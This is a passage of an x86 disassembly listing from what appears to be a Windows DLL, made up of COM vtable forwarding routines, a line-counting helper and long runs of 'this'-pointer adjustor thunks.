arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+98h]
retn 8
sub_69B52180 endp
; =============== S U B R O U T I N E =======================================
sub_69B52197 proc near ; CODE XREF: .text:69B5250Dj
; .text:69B5269Dj ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+9Ch]
retn 8
sub_69B52197 endp
; =============== S U B R O U T I N E =======================================
sub_69B521AE proc near ; CODE XREF: .text:69B52517j
; .text:69B526A7j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+0A0h]
retn 8
sub_69B521AE endp
; =============== S U B R O U T I N E =======================================
sub_69B521C5 proc near ; CODE XREF: .text:69B52521j
; .text:69B526B1j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+0A4h]
retn 8
sub_69B521C5 endp
; =============== S U B R O U T I N E =======================================
sub_69B521DC proc near ; CODE XREF: .text:69B5252Bj
; .text:69B526BBj ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
mov ecx, [eax]
push esi
push edi
sub esp, 10h
mov edi, esp
push [esp+18h+arg_4]
lea esi, [esp+1Ch+arg_8]
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+0A8h]
pop edi
pop esi
retn 18h
sub_69B521DC endp
; =============== S U B R O U T I N E =======================================
sub_69B52204 proc near ; CODE XREF: .text:69B523D7j
; .text:69B52567j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+1Ch]
retn 8
sub_69B52204 endp
; =============== S U B R O U T I N E =======================================
sub_69B52218 proc near ; DATA XREF: .text:69B28A58o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
push [esp+4+arg_4]
push dword ptr [eax+2Ch]
call sub_69B43024
retn 0Ch
sub_69B52218 endp
; =============== S U B R O U T I N E =======================================
sub_69B5222F proc near ; CODE XREF: .text:69B5249Fj
; .text:69B5262Fj ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+70h]
retn 8
sub_69B5222F endp
; =============== S U B R O U T I N E =======================================
sub_69B52243 proc near ; DATA XREF: .text:69B28988o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+28h]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+20h]
retn 8
sub_69B52243 endp
; =============== S U B R O U T I N E =======================================
sub_69B52257 proc near ; DATA XREF: .text:69B2898Co
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+28h]
mov ecx, [eax]
push esi
push edi
sub esp, 10h
mov edi, esp
lea esi, [esp+18h+arg_4]
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+24h]
pop edi
pop esi
retn 14h
sub_69B52257 endp
; ---------------------------------------------------------------------------
loc_69B52278: ; DATA XREF: .text:69B288CCo
mov eax, [esp+4]
mov eax, [eax+24h]
push dword ptr [esp+8]
mov ecx, [eax]
push eax
call dword ptr [ecx+1Ch]
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5228C proc near ; CODE XREF: .text:69B52855j
; .text:69B529F9j
; DATA XREF: ...
pvarg = VARIANTARG ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_69B522A1
mov eax, 80070057h
jmp short loc_69B522C8
; ---------------------------------------------------------------------------
loc_69B522A1: ; CODE XREF: sub_69B5228C+Cj
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
mov eax, [ebp+arg_0]
mov eax, [eax+24h]
mov ecx, [eax]
lea edx, [ebp+pvarg]
push edx
push eax
call dword ptr [ecx+20h]
mov ecx, eax
neg ecx
sbb ecx, ecx
not ecx
and ecx, dword ptr [ebp+pvarg.anonymous_0+8]
mov [esi], ecx
loc_69B522C8: ; CODE XREF: sub_69B5228C+13j
pop esi
leave
retn 8
sub_69B5228C endp
; =============== S U B R O U T I N E =======================================
sub_69B522CD proc near ; CODE XREF: .text:69B5285Fj
; .text:69B52A03j
; DATA XREF: ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+24h]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+6Ch]
retn 8
sub_69B522CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B522E1(int, int, LPCWSTR lpString)
sub_69B522E1 proc near ; CODE XREF: .text:69B52A0Dj
; DATA XREF: .text:69B28810o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
lpString = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+lpString], 0
jz short loc_69B5230D
push [ebp+lpString] ; lpString
call ds:lstrlenW ; lstrlenW
test eax, eax
jz short loc_69B5230D
push [ebp+lpString]
mov eax, [ebp+arg_0]
mov ecx, [eax]
push 0
push [ebp+arg_4]
push eax
call dword ptr [ecx+0C8h]
jmp short loc_69B5230F
; ---------------------------------------------------------------------------
loc_69B5230D: ; CODE XREF: sub_69B522E1+7j
; sub_69B522E1+14j
xor eax, eax
loc_69B5230F: ; CODE XREF: sub_69B522E1+2Aj
pop ebp
retn 0Ch
sub_69B522E1 endp
; =============== S U B R O U T I N E =======================================
sub_69B52313 proc near ; CODE XREF: .text:69B52A17j
; DATA XREF: .text:69B28814o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [eax]
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push eax
call dword ptr [ecx+0C8h]
retn 0Ch
sub_69B52313 endp
; =============== S U B R O U T I N E =======================================
sub_69B5232D proc near ; CODE XREF: .text:69B531F1j
; DATA XREF: .text:69B28984o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+28h]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+1Ch]
retn 8
sub_69B5232D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B52341 proc near ; CODE XREF: sub_69B53ECC+101p
; sub_69B53ECC+11Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
xor edx, edx
xor eax, eax
dec [ebp+arg_8]
cmp [ebp+arg_4], edx
jle short loc_69B5236E
mov ecx, [ebp+arg_0]
loc_69B52353: ; CODE XREF: sub_69B52341+2Bj
cmp word ptr [ecx], 0Dh
jnz short loc_69B52365
cmp eax, [ebp+arg_8]
jz short loc_69B52365
cmp word ptr [ecx+2], 0Ah
jz short loc_69B52366
loc_69B52365: ; CODE XREF: sub_69B52341+16j
; sub_69B52341+1Bj
inc edx
loc_69B52366: ; CODE XREF: sub_69B52341+22j
inc eax
inc ecx
inc ecx
cmp edx, [ebp+arg_4]
jl short loc_69B52353
loc_69B5236E: ; CODE XREF: sub_69B52341+Dj
pop ebp
retn 0Ch
sub_69B52341 endp
; =============== S U B R O U T I N E =======================================
sub_69B52372 proc near ; CODE XREF: sub_69B53ECC+A0p
; .text:69B541BCp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
xor eax, eax
xor edx, edx
cmp [esp+arg_4], eax
jle short locret_69B5239D
mov ecx, [esp+arg_0]
loc_69B52380: ; CODE XREF: sub_69B52372+29j
inc edx
cmp word ptr [ecx], 0Dh
jnz short loc_69B52394
cmp edx, [esp+arg_8]
jz short loc_69B52394
cmp word ptr [ecx+2], 0Ah
jz short loc_69B52395
loc_69B52394: ; CODE XREF: sub_69B52372+13j
; sub_69B52372+19j
inc eax
loc_69B52395: ; CODE XREF: sub_69B52372+20j
inc ecx
inc ecx
cmp edx, [esp+arg_4]
jl short loc_69B52380
locret_69B5239D: ; CODE XREF: sub_69B52372+8j
retn 0Ch
sub_69B52372 endp
; ---------------------------------------------------------------------------
loc_69B523A0: ; DATA XREF: .text:off_69B288D8o
sub dword ptr [esp+4], 4
jmp sub_69B51E5B
; ---------------------------------------------------------------------------
loc_69B523AA: ; DATA XREF: .text:69B288E4o
sub dword ptr [esp+4], 4
jmp sub_69B51E72
; ---------------------------------------------------------------------------
loc_69B523B4: ; DATA XREF: .text:69B288E8o
sub dword ptr [esp+4], 4
jmp sub_69B51E86
; ---------------------------------------------------------------------------
loc_69B523BE: ; DATA XREF: .text:69B288ECo
sub dword ptr [esp+4], 4
jmp sub_69B51EA2
; ---------------------------------------------------------------------------
loc_69B523C8: ; DATA XREF: .text:69B288F0o
sub dword ptr [esp+4], 4
jmp sub_69B51EC4
; ---------------------------------------------------------------------------
loc_69B523D2: ; DATA XREF: .text:69B288F4o
sub dword ptr [esp+4], 4
jmp sub_69B52204
; ---------------------------------------------------------------------------
loc_69B523DC: ; DATA XREF: .text:69B288F8o
sub dword ptr [esp+4], 4
jmp sub_69B51F03
; ---------------------------------------------------------------------------
loc_69B523E6: ; DATA XREF: .text:69B288FCo
sub dword ptr [esp+4], 4
jmp sub_69B51F17
; ---------------------------------------------------------------------------
loc_69B523F0: ; DATA XREF: .text:69B28900o
sub dword ptr [esp+4], 4
jmp sub_69B51EEF
; ---------------------------------------------------------------------------
loc_69B523FA: ; DATA XREF: .text:69B28904o
sub dword ptr [esp+4], 4
jmp sub_69B51F38
; ---------------------------------------------------------------------------
loc_69B52404: ; DATA XREF: .text:69B28908o
sub dword ptr [esp+4], 4
jmp sub_69B51F4C
; ---------------------------------------------------------------------------
loc_69B5240E: ; DATA XREF: .text:69B2890Co
sub dword ptr [esp+4], 4
jmp sub_69B51F60
; ---------------------------------------------------------------------------
loc_69B52418: ; DATA XREF: .text:69B28910o
sub dword ptr [esp+4], 4
jmp sub_69B51F74
; ---------------------------------------------------------------------------
loc_69B52422: ; DATA XREF: .text:69B28914o
sub dword ptr [esp+4], 4
jmp sub_69B51F88
; ---------------------------------------------------------------------------
loc_69B5242C: ; DATA XREF: .text:69B28918o
sub dword ptr [esp+4], 4
jmp sub_69B51F9C
; ---------------------------------------------------------------------------
loc_69B52436: ; DATA XREF: .text:69B2891Co
sub dword ptr [esp+4], 4
jmp sub_69B52025
; ---------------------------------------------------------------------------
loc_69B52440: ; DATA XREF: .text:69B28920o
sub dword ptr [esp+4], 4
jmp sub_69B51FB0
; ---------------------------------------------------------------------------
loc_69B5244A: ; DATA XREF: .text:69B28924o
sub dword ptr [esp+4], 4
jmp sub_69B51FD9
; ---------------------------------------------------------------------------
loc_69B52454: ; DATA XREF: .text:69B28928o
sub dword ptr [esp+4], 4
jmp sub_69B51FF5
; ---------------------------------------------------------------------------
loc_69B5245E: ; DATA XREF: .text:69B2892Co
sub dword ptr [esp+4], 4
jmp sub_69B5200D
; ---------------------------------------------------------------------------
loc_69B52468: ; DATA XREF: .text:69B28930o
sub dword ptr [esp+4], 4
jmp sub_69B52039
; ---------------------------------------------------------------------------
loc_69B52472: ; DATA XREF: .text:69B28938o
sub dword ptr [esp+4], 4
jmp sub_69B5204D
; ---------------------------------------------------------------------------
loc_69B5247C: ; DATA XREF: .text:69B2893Co
sub dword ptr [esp+4], 4
jmp sub_69B52065
; ---------------------------------------------------------------------------
loc_69B52486: ; DATA XREF: .text:69B28940o
sub dword ptr [esp+4], 4
jmp sub_69B52079
; ---------------------------------------------------------------------------
loc_69B52490: ; DATA XREF: .text:69B28944o
sub dword ptr [esp+4], 4
jmp sub_69B5208D
; ---------------------------------------------------------------------------
loc_69B5249A: ; DATA XREF: .text:69B28948o
sub dword ptr [esp+4], 4
jmp sub_69B5222F
; ---------------------------------------------------------------------------
loc_69B524A4: ; DATA XREF: .text:69B2894Co
sub dword ptr [esp+4], 4
jmp sub_69B520A1
; ---------------------------------------------------------------------------
loc_69B524AE: ; DATA XREF: .text:69B28950o
sub dword ptr [esp+4], 4
jmp sub_69B520B5
; ---------------------------------------------------------------------------
loc_69B524B8: ; DATA XREF: .text:69B28954o
sub dword ptr [esp+4], 4
jmp sub_69B520C9
; ---------------------------------------------------------------------------
loc_69B524C2: ; DATA XREF: .text:69B28958o
sub dword ptr [esp+4], 4
jmp sub_69B520EA
; ---------------------------------------------------------------------------
loc_69B524CC: ; DATA XREF: .text:69B2895Co
sub dword ptr [esp+4], 4
jmp sub_69B52101
; ---------------------------------------------------------------------------
loc_69B524D6: ; DATA XREF: .text:69B28960o
sub dword ptr [esp+4], 4
jmp sub_69B52118
; ---------------------------------------------------------------------------
loc_69B524E0: ; DATA XREF: .text:69B28964o
sub dword ptr [esp+4], 4
jmp sub_69B5212F
; ---------------------------------------------------------------------------
loc_69B524EA: ; DATA XREF: .text:69B28968o
sub dword ptr [esp+4], 4
jmp sub_69B5214A
; ---------------------------------------------------------------------------
loc_69B524F4: ; DATA XREF: .text:69B2896Co
sub dword ptr [esp+4], 4
jmp sub_69B52165
; ---------------------------------------------------------------------------
loc_69B524FE: ; DATA XREF: .text:69B28970o
sub dword ptr [esp+4], 4
jmp sub_69B52180
; ---------------------------------------------------------------------------
loc_69B52508: ; DATA XREF: .text:69B28974o
sub dword ptr [esp+4], 4
jmp sub_69B52197
; ---------------------------------------------------------------------------
loc_69B52512: ; DATA XREF: .text:69B28978o
sub dword ptr [esp+4], 4
jmp sub_69B521AE
; ---------------------------------------------------------------------------
loc_69B5251C: ; DATA XREF: .text:69B2897Co
sub dword ptr [esp+4], 4
jmp sub_69B521C5
; ---------------------------------------------------------------------------
loc_69B52526: ; DATA XREF: .text:69B28980o
sub dword ptr [esp+4], 4
jmp sub_69B521DC
; ---------------------------------------------------------------------------
loc_69B52530: ; DATA XREF: .text:off_69B28820o
sub dword ptr [esp+4], 8
jmp sub_69B51E5B
; ---------------------------------------------------------------------------
loc_69B5253A: ; DATA XREF: .text:69B2882Co
sub dword ptr [esp+4], 8
jmp sub_69B51E72
; ---------------------------------------------------------------------------
loc_69B52544: ; DATA XREF: .text:69B28830o
sub dword ptr [esp+4], 8
jmp sub_69B51E86
; ---------------------------------------------------------------------------
loc_69B5254E: ; DATA XREF: .text:69B28834o
sub dword ptr [esp+4], 8
jmp sub_69B51EA2
; ---------------------------------------------------------------------------
loc_69B52558: ; DATA XREF: .text:69B28838o
sub dword ptr [esp+4], 8
jmp sub_69B51EC4
; ---------------------------------------------------------------------------
loc_69B52562: ; DATA XREF: .text:69B2883Co
sub dword ptr [esp+4], 8
jmp sub_69B52204
; ---------------------------------------------------------------------------
loc_69B5256C: ; DATA XREF: .text:69B28840o
sub dword ptr [esp+4], 8
jmp sub_69B51F03
; ---------------------------------------------------------------------------
loc_69B52576: ; DATA XREF: .text:69B28844o
sub dword ptr [esp+4], 8
jmp sub_69B51F17
; ---------------------------------------------------------------------------
loc_69B52580: ; DATA XREF: .text:69B28848o
sub dword ptr [esp+4], 8
jmp sub_69B51EEF
; ---------------------------------------------------------------------------
loc_69B5258A: ; DATA XREF: .text:69B2884Co
sub dword ptr [esp+4], 8
jmp sub_69B51F38
; ---------------------------------------------------------------------------
loc_69B52594: ; DATA XREF: .text:69B28850o
sub dword ptr [esp+4], 8
jmp sub_69B51F4C
; ---------------------------------------------------------------------------
loc_69B5259E: ; DATA XREF: .text:69B28854o
sub dword ptr [esp+4], 8
jmp sub_69B51F60
; ---------------------------------------------------------------------------
loc_69B525A8: ; DATA XREF: .text:69B28858o
sub dword ptr [esp+4], 8
jmp sub_69B51F74
; ---------------------------------------------------------------------------
loc_69B525B2: ; DATA XREF: .text:69B2885Co
sub dword ptr [esp+4], 8
jmp sub_69B51F88
; ---------------------------------------------------------------------------
loc_69B525BC: ; DATA XREF: .text:69B28860o
sub dword ptr [esp+4], 8
jmp sub_69B51F9C
; ---------------------------------------------------------------------------
loc_69B525C6: ; DATA XREF: .text:69B28864o
sub dword ptr [esp+4], 8
jmp sub_69B52025
; ---------------------------------------------------------------------------
loc_69B525D0: ; DATA XREF: .text:69B28868o
sub dword ptr [esp+4], 8
jmp sub_69B51FB0
; ---------------------------------------------------------------------------
loc_69B525DA: ; DATA XREF: .text:69B2886Co
sub dword ptr [esp+4], 8
jmp sub_69B51FD9
; ---------------------------------------------------------------------------
loc_69B525E4: ; DATA XREF: .text:69B28870o
sub dword ptr [esp+4], 8
jmp sub_69B51FF5
; ---------------------------------------------------------------------------
loc_69B525EE: ; DATA XREF: .text:69B28874o
sub dword ptr [esp+4], 8
jmp sub_69B5200D
; ---------------------------------------------------------------------------
loc_69B525F8: ; DATA XREF: .text:69B28878o
sub dword ptr [esp+4], 8
jmp sub_69B52039
; ---------------------------------------------------------------------------
loc_69B52602: ; DATA XREF: .text:69B28880o
sub dword ptr [esp+4], 8
jmp sub_69B5204D
; ---------------------------------------------------------------------------
loc_69B5260C: ; DATA XREF: .text:69B28884o
sub dword ptr [esp+4], 8
jmp sub_69B52065
; ---------------------------------------------------------------------------
loc_69B52616: ; DATA XREF: .text:69B28888o
sub dword ptr [esp+4], 8
jmp sub_69B52079
; ---------------------------------------------------------------------------
loc_69B52620: ; DATA XREF: .text:69B2888Co
sub dword ptr [esp+4], 8
jmp sub_69B5208D
; ---------------------------------------------------------------------------
loc_69B5262A: ; DATA XREF: .text:69B28890o
sub dword ptr [esp+4], 8
jmp sub_69B5222F
; ---------------------------------------------------------------------------
loc_69B52634: ; DATA XREF: .text:69B28894o
sub dword ptr [esp+4], 8
jmp sub_69B520A1
; ---------------------------------------------------------------------------
loc_69B5263E: ; DATA XREF: .text:69B28898o
sub dword ptr [esp+4], 8
jmp sub_69B520B5
; ---------------------------------------------------------------------------
loc_69B52648: ; DATA XREF: .text:69B2889Co
sub dword ptr [esp+4], 8
jmp sub_69B520C9
; ---------------------------------------------------------------------------
loc_69B52652: ; DATA XREF: .text:69B288A0o
sub dword ptr [esp+4], 8
jmp sub_69B520EA
; ---------------------------------------------------------------------------
loc_69B5265C: ; DATA XREF: .text:69B288A4o
sub dword ptr [esp+4], 8
jmp sub_69B52101
; ---------------------------------------------------------------------------
loc_69B52666: ; DATA XREF: .text:69B288A8o
sub dword ptr [esp+4], 8
jmp sub_69B52118
; ---------------------------------------------------------------------------
loc_69B52670: ; DATA XREF: .text:69B288ACo
sub dword ptr [esp+4], 8
jmp sub_69B5212F
; ---------------------------------------------------------------------------
loc_69B5267A: ; DATA XREF: .text:69B288B0o
sub dword ptr [esp+4], 8
jmp sub_69B5214A
; ---------------------------------------------------------------------------
loc_69B52684: ; DATA XREF: .text:69B288B4o
sub dword ptr [esp+4], 8
jmp sub_69B52165
; ---------------------------------------------------------------------------
loc_69B5268E: ; DATA XREF: .text:69B288B8o
sub dword ptr [esp+4], 8
jmp sub_69B52180
; ---------------------------------------------------------------------------
loc_69B52698: ; DATA XREF: .text:69B288BCo
sub dword ptr [esp+4], 8
jmp sub_69B52197
; ---------------------------------------------------------------------------
loc_69B526A2: ; DATA XREF: .text:69B288C0o
sub dword ptr [esp+4], 8
jmp sub_69B521AE
; ---------------------------------------------------------------------------
loc_69B526AC: ; DATA XREF: .text:69B288C4o
sub dword ptr [esp+4], 8
jmp sub_69B521C5
; ---------------------------------------------------------------------------
loc_69B526B6: ; DATA XREF: .text:69B288C8o
sub dword ptr [esp+4], 8
jmp sub_69B521DC
; ---------------------------------------------------------------------------
loc_69B526C0: ; DATA XREF: .text:off_69B28750o
sub dword ptr [esp+4], 0Ch
jmp sub_69B51E5B
; ---------------------------------------------------------------------------
loc_69B526CA: ; DATA XREF: .text:69B2875Co
sub dword ptr [esp+4], 0Ch
jmp sub_69B51E72
; ---------------------------------------------------------------------------
loc_69B526D4: ; DATA XREF: .text:69B28760o
sub dword ptr [esp+4], 0Ch
jmp sub_69B51E86
; ---------------------------------------------------------------------------
loc_69B526DE: ; DATA XREF: .text:69B28764o
sub dword ptr [esp+4], 0Ch
jmp sub_69B51EA2
; ---------------------------------------------------------------------------
loc_69B526E8: ; DATA XREF: .text:69B28768o
sub dword ptr [esp+4], 0Ch
jmp sub_69B51EC4
; ---------------------------------------------------------------------------
loc_69B526F2: ; DATA XREF: .text:69B2876Co
sub dword ptr [esp+4], 0Ch
jmp sub_69B52204
; ---------------------------------------------------------------------------
loc_69B526FC: ; DATA XREF: .text:69B28770o
sub dword ptr [esp+4], 0Ch
jmp sub_69B51F03
; ---------------------------------------------------------------------------
loc_69B52706: ; DATA XREF: .text:69B28774o
sub dword ptr [esp+4], 0Ch
jmp sub_69B51F17
; ---------------------------------------------------------------------------
loc_69B52710: ; DATA XREF: .text:69B28778o
sub dword ptr [esp+4], 0Ch
jmp sub_69B51EEF
; ---------------------------------------------------------------------------
loc_69B5271A: ; DATA XREF: .text:69B2877Co
sub dword ptr [esp+4], 0Ch
jmp sub_69B51F38
; ---------------------------------------------------------------------------
loc_69B52724: ; DATA XREF: .text:69B28780o
sub dword ptr [esp+4], 0Ch
jmp sub_69B51F4C
; ---------------------------------------------------------------------------
loc_69B5272E: ; DATA XREF: .text:69B28784o
sub dword ptr [esp+4], 0Ch
jmp sub_69B51F60
; ---------------------------------------------------------------------------
loc_69B52738: ; DATA XREF: .text:69B28788o
sub dword ptr [esp+4], 0Ch
jmp sub_69B51F74
; ---------------------------------------------------------------------------
loc_69B52742: ; DATA XREF: .text:69B2878Co
sub dword ptr [esp+4], 0Ch
jmp sub_69B51F88
; ---------------------------------------------------------------------------
loc_69B5274C: ; DATA XREF: .text:69B28790o
sub dword ptr [esp+4], 0Ch
jmp sub_69B51F9C
; ---------------------------------------------------------------------------
loc_69B52756: ; DATA XREF: .text:69B28794o
sub dword ptr [esp+4], 0Ch
jmp sub_69B52025
; ---------------------------------------------------------------------------
loc_69B52760: ; DATA XREF: .text:69B28798o
sub dword ptr [esp+4], 0Ch
jmp sub_69B51FB0
; ---------------------------------------------------------------------------
loc_69B5276A: ; DATA XREF: .text:69B2879Co
sub dword ptr [esp+4], 0Ch
jmp sub_69B51FD9
; ---------------------------------------------------------------------------
loc_69B52774: ; DATA XREF: .text:69B287A0o
sub dword ptr [esp+4], 0Ch
jmp sub_69B51FF5
; ---------------------------------------------------------------------------
loc_69B5277E: ; DATA XREF: .text:69B287A4o
sub dword ptr [esp+4], 0Ch
jmp sub_69B5200D
; ---------------------------------------------------------------------------
loc_69B52788: ; DATA XREF: .text:69B287A8o
sub dword ptr [esp+4], 0Ch
jmp sub_69B52039
; ---------------------------------------------------------------------------
loc_69B52792: ; DATA XREF: .text:69B287B0o
sub dword ptr [esp+4], 0Ch
jmp sub_69B5204D
; ---------------------------------------------------------------------------
loc_69B5279C: ; DATA XREF: .text:69B287B4o
sub dword ptr [esp+4], 0Ch
jmp sub_69B52065
; ---------------------------------------------------------------------------
loc_69B527A6: ; DATA XREF: .text:69B287B8o
sub dword ptr [esp+4], 0Ch
jmp sub_69B52079
; ---------------------------------------------------------------------------
loc_69B527B0: ; DATA XREF: .text:69B287BCo
sub dword ptr [esp+4], 0Ch
jmp sub_69B5208D
; ---------------------------------------------------------------------------
loc_69B527BA: ; DATA XREF: .text:69B287C0o
sub dword ptr [esp+4], 0Ch
jmp sub_69B5222F
; ---------------------------------------------------------------------------
loc_69B527C4: ; DATA XREF: .text:69B287C4o
sub dword ptr [esp+4], 0Ch
jmp sub_69B520A1
; ---------------------------------------------------------------------------
loc_69B527CE: ; DATA XREF: .text:69B287C8o
sub dword ptr [esp+4], 0Ch
jmp sub_69B520B5
; ---------------------------------------------------------------------------
loc_69B527D8: ; DATA XREF: .text:69B287CCo
sub dword ptr [esp+4], 0Ch
jmp sub_69B520C9
; ---------------------------------------------------------------------------
loc_69B527E2: ; DATA XREF: .text:69B287D0o
sub dword ptr [esp+4], 0Ch
jmp sub_69B520EA
; ---------------------------------------------------------------------------
loc_69B527EC: ; DATA XREF: .text:69B287D4o
sub dword ptr [esp+4], 0Ch
jmp sub_69B52101
; ---------------------------------------------------------------------------
loc_69B527F6: ; DATA XREF: .text:69B287D8o
sub dword ptr [esp+4], 0Ch
jmp sub_69B52118
; ---------------------------------------------------------------------------
loc_69B52800: ; DATA XREF: .text:69B287DCo
sub dword ptr [esp+4], 0Ch
jmp sub_69B5212F
; ---------------------------------------------------------------------------
loc_69B5280A: ; DATA XREF: .text:69B287E0o
sub dword ptr [esp+4], 0Ch
jmp sub_69B5214A
; ---------------------------------------------------------------------------
loc_69B52814: ; DATA XREF: .text:69B287E4o
sub dword ptr [esp+4], 0Ch
jmp sub_69B52165
; ---------------------------------------------------------------------------
loc_69B5281E: ; DATA XREF: .text:69B287E8o
sub dword ptr [esp+4], 0Ch
jmp sub_69B52180
; ---------------------------------------------------------------------------
loc_69B52828: ; DATA XREF: .text:69B287ECo
sub dword ptr [esp+4], 0Ch
jmp sub_69B52197
; ---------------------------------------------------------------------------
loc_69B52832: ; DATA XREF: .text:69B287F0o
sub dword ptr [esp+4], 0Ch
jmp sub_69B521AE
; ---------------------------------------------------------------------------
loc_69B5283C: ; DATA XREF: .text:69B287F4o
sub dword ptr [esp+4], 0Ch
jmp sub_69B521C5
; ---------------------------------------------------------------------------
loc_69B52846: ; DATA XREF: .text:69B287F8o
sub dword ptr [esp+4], 0Ch
jmp sub_69B521DC
; ---------------------------------------------------------------------------
loc_69B52850: ; DATA XREF: .text:69B287FCo
sub dword ptr [esp+4], 4
jmp sub_69B5228C
; ---------------------------------------------------------------------------
loc_69B5285A: ; DATA XREF: .text:69B28800o
sub dword ptr [esp+4], 4
jmp sub_69B522CD
; ---------------------------------------------------------------------------
loc_69B52864: ; DATA XREF: .text:off_69B28680o
sub dword ptr [esp+4], 10h
jmp sub_69B51E5B
; ---------------------------------------------------------------------------
loc_69B5286E: ; DATA XREF: .text:69B2868Co
sub dword ptr [esp+4], 10h
jmp sub_69B51E72
; ---------------------------------------------------------------------------
loc_69B52878: ; DATA XREF: .text:69B28690o
sub dword ptr [esp+4], 10h
jmp sub_69B51E86
; ---------------------------------------------------------------------------
loc_69B52882: ; DATA XREF: .text:69B28694o
sub dword ptr [esp+4], 10h
jmp sub_69B51EA2
; ---------------------------------------------------------------------------
loc_69B5288C: ; DATA XREF: .text:69B28698o
sub dword ptr [esp+4], 10h
jmp sub_69B51EC4
; ---------------------------------------------------------------------------
loc_69B52896: ; DATA XREF: .text:69B2869Co
sub dword ptr [esp+4], 10h
jmp sub_69B52204
; ---------------------------------------------------------------------------
loc_69B528A0: ; DATA XREF: .text:69B286A0o
sub dword ptr [esp+4], 10h
jmp sub_69B51F03
; ---------------------------------------------------------------------------
loc_69B528AA: ; DATA XREF: .text:69B286A4o
sub dword ptr [esp+4], 10h
jmp sub_69B51F17
; ---------------------------------------------------------------------------
loc_69B528B4: ; DATA XREF: .text:69B286A8o
sub dword ptr [esp+4], 10h
jmp sub_69B51EEF
; ---------------------------------------------------------------------------
loc_69B528BE: ; DATA XREF: .text:69B286ACo
sub dword ptr [esp+4], 10h
jmp sub_69B51F38
; ---------------------------------------------------------------------------
loc_69B528C8: ; DATA XREF: .text:69B286B0o
sub dword ptr [esp+4], 10h
jmp sub_69B51F4C
; ---------------------------------------------------------------------------
loc_69B528D2: ; DATA XREF: .text:69B286B4o
sub dword ptr [esp+4], 10h
jmp sub_69B51F60
; ---------------------------------------------------------------------------
loc_69B528DC: ; DATA XREF: .text:69B286B8o
sub dword ptr [esp+4], 10h
jmp sub_69B51F74
; ---------------------------------------------------------------------------
loc_69B528E6: ; DATA XREF: .text:69B286BCo
sub dword ptr [esp+4], 10h
jmp sub_69B51F88
; ---------------------------------------------------------------------------
loc_69B528F0: ; DATA XREF: .text:69B286C0o
sub dword ptr [esp+4], 10h
jmp sub_69B51F9C
; ---------------------------------------------------------------------------
loc_69B528FA: ; DATA XREF: .text:69B286C4o
sub dword ptr [esp+4], 10h
jmp sub_69B52025
; ---------------------------------------------------------------------------
loc_69B52904: ; DATA XREF: .text:69B286C8o
sub dword ptr [esp+4], 10h
jmp sub_69B51FB0
; ---------------------------------------------------------------------------
loc_69B5290E: ; DATA XREF: .text:69B286CCo
sub dword ptr [esp+4], 10h
jmp sub_69B51FD9
; ---------------------------------------------------------------------------
loc_69B52918: ; DATA XREF: .text:69B286D0o
sub dword ptr [esp+4], 10h
jmp sub_69B51FF5
; ---------------------------------------------------------------------------
loc_69B52922: ; DATA XREF: .text:69B286D4o
sub dword ptr [esp+4], 10h
jmp sub_69B5200D
; ---------------------------------------------------------------------------
loc_69B5292C: ; DATA XREF: .text:69B286D8o
sub dword ptr [esp+4], 10h
jmp sub_69B52039
; ---------------------------------------------------------------------------
loc_69B52936: ; DATA XREF: .text:69B286E0o
sub dword ptr [esp+4], 10h
jmp sub_69B5204D
; ---------------------------------------------------------------------------
loc_69B52940: ; DATA XREF: .text:69B286E4o
sub dword ptr [esp+4], 10h
jmp sub_69B52065
; ---------------------------------------------------------------------------
loc_69B5294A: ; DATA XREF: .text:69B286E8o
